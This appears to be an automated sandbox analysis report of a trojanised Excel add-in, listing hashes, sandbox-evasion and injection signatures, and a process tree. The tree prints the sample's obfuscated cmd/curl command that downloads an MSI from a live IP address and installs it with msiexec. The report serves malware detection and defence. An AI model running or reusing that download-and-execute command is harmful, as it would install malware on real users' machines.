Analysis
- max time kernel
107s - max time network
123s - platform
windows10-2004_x64 - resource
win10v2004-20230915-en - resource tags
arch:x64arch:x86image:win10v2004-20230915-enlocale:en-usos:windows10-2004-x64system - submitted
26/09/2023, 06:40
Static task
static1
1 signatures
Behavioral task
behavioral1
Sample
SecuriteInfo.com.Trojan.Win64.Alien.cab.18983.11900.xll
Resource
win7-20230831-en
6 signatures
150 seconds
Behavioral task
behavioral2
Sample
SecuriteInfo.com.Trojan.Win64.Alien.cab.18983.11900.xll
Resource
win10v2004-20230915-en
13 signatures
150 seconds
General
- Target SecuriteInfo.com.Trojan.Win64.Alien.cab.18983.11900.xll
- Size 12KB
- Sample230926-he7eksgd92
- SHA256 49652a2d68675d81c86d03f620be4a925ac764ede68e07fcf4daf18ceef3e576
- MD5 4b8a28addf6b019910ec6c886df74b4a
- SHA1 dfcbce4e1608a1b6e3f318e41b82fcbfef842fb2
- SHA512 d20030ef5d63887bf52457b841fc4e572d8e86320c4a6a761cfeea999e3d61c96c52694912b79e7d62fb298638d8407fcb1f427e3bc4cf8f690bfdb6535863c5
- SSDEEP 192:IU5z9i9veq2pJk+/qcJklyJOEtbF08TjsvGQwrgAhp:9z9SvWJH/IwJOUbF08UeQwrgC
- MD5 SHA1 SHA512 SSDEEP
Score
10/10
Malware Config
Signatures
- Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
description pid pid_target Process procid_target Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process 4412 2124 cmd.exe 60 - Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
description ioc Process Key value queried \REGISTRY\USER\S-1-5-21-1141987721-3945596982-3297311814-1000\Control Panel\International\Geo\Nation cmd.exe - Loads dropped DLL 2 IoCs
pid Process 2124 EXCEL.EXE 2124 EXCEL.EXE - Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Checks processor information in registry 2 TTPs 3 IoCs
Processor information is often read in order to detect sandboxing environments.
description ioc Process Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString EXCEL.EXE - Delays execution with timeout.exe 1 IoCs
pid Process 4036 timeout.exe - Enumerates system info in registry 2 TTPs 3 IoCs
description ioc Process Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU EXCEL.EXE - Modifies registry class 1 IoCs
description ioc Process Key created \REGISTRY\USER\S-1-5-21-1141987721-3945596982-3297311814-1000_Classes\Local Settings cmd.exe - Suspicious behavior: AddClipboardFormatListener 1 IoCs
pid Process 2124 EXCEL.EXE - Suspicious use of AdjustPrivilegeToken 2 IoCs
description pid Process Token: SeShutdownPrivilege 1564 msiexec.exe Token: SeIncreaseQuotaPrivilege 1564 msiexec.exe - Suspicious use of FindShellTrayWindow 2 IoCs
pid Process 1564 msiexec.exe 1564 msiexec.exe - Suspicious use of SetWindowsHookEx 12 IoCs
pid Process 2124 EXCEL.EXE 2124 EXCEL.EXE 2124 EXCEL.EXE 2124 EXCEL.EXE 2124 EXCEL.EXE 2124 EXCEL.EXE 2124 EXCEL.EXE 2124 EXCEL.EXE 2124 EXCEL.EXE 2124 EXCEL.EXE 2124 EXCEL.EXE 2124 EXCEL.EXE - Suspicious use of WriteProcessMemory 8 IoCs
description pid Process procid_target PID 2124 wrote to memory of 4412 2124 EXCEL.EXE 85 PID 2124 wrote to memory of 4412 2124 EXCEL.EXE 85 PID 4412 wrote to memory of 1472 4412 cmd.exe 87 PID 4412 wrote to memory of 1472 4412 cmd.exe 87 PID 4412 wrote to memory of 4036 4412 cmd.exe 91 PID 4412 wrote to memory of 4036 4412 cmd.exe 91 PID 4412 wrote to memory of 1564 4412 cmd.exe 95 PID 4412 wrote to memory of 1564 4412 cmd.exe 95
Processes
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C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\SecuriteInfo.com.Trojan.Win64.Alien.cab.18983.11900.xll"1⤵
- Loads dropped DLL
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:2124 -
\??\c:\windows\system32\cmd.exec:\windows\system32\cmd.exe /c c^url -o c:\users\public\1.msi http://94.131.106.78/BcDx2y/OkJKB&&timeout 10&&c:\users\public\1.msi2⤵
- Process spawned unexpected child process
- Checks computer location settings
- Modifies registry class
- Suspicious use of WriteProcessMemory
PID:4412 -
C:\Windows\system32\curl.execurl -o c:\users\public\1.msi http://94.131.106.78/BcDx2y/OkJKB3⤵PID:1472
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C:\Windows\system32\timeout.exetimeout 103⤵
- Delays execution with timeout.exe
PID:4036
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C:\Windows\System32\msiexec.exe"C:\Windows\System32\msiexec.exe" /i "C:\users\public\1.msi"3⤵
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
PID:1564
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Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
- Path C:\Users\Admin\AppData\Local\Temp\SecuriteInfo.com.Trojan.Win64.Alien.cab.18983.11900.xll
- Size 12KB
- SHA256 49652a2d68675d81c86d03f620be4a925ac764ede68e07fcf4daf18ceef3e576
- MD5 4b8a28addf6b019910ec6c886df74b4a
- SHA1 dfcbce4e1608a1b6e3f318e41b82fcbfef842fb2
- SHA512 d20030ef5d63887bf52457b841fc4e572d8e86320c4a6a761cfeea999e3d61c96c52694912b79e7d62fb298638d8407fcb1f427e3bc4cf8f690bfdb6535863c5
- SSDEEP 192:IU5z9i9veq2pJk+/qcJklyJOEtbF08TjsvGQwrgAhp:9z9SvWJH/IwJOUbF08UeQwrgC
- MD5 SHA1 SHA512 SSDEEP
- Path C:\Users\Admin\AppData\Local\Temp\SecuriteInfo.com.Trojan.Win64.Alien.cab.18983.11900.xll
- Size 12KB
- SHA256 49652a2d68675d81c86d03f620be4a925ac764ede68e07fcf4daf18ceef3e576
- MD5 4b8a28addf6b019910ec6c886df74b4a
- SHA1 dfcbce4e1608a1b6e3f318e41b82fcbfef842fb2
- SHA512 d20030ef5d63887bf52457b841fc4e572d8e86320c4a6a761cfeea999e3d61c96c52694912b79e7d62fb298638d8407fcb1f427e3bc4cf8f690bfdb6535863c5
- SSDEEP 192:IU5z9i9veq2pJk+/qcJklyJOEtbF08TjsvGQwrgAhp:9z9SvWJH/IwJOUbF08UeQwrgC
- MD5 SHA1 SHA512 SSDEEP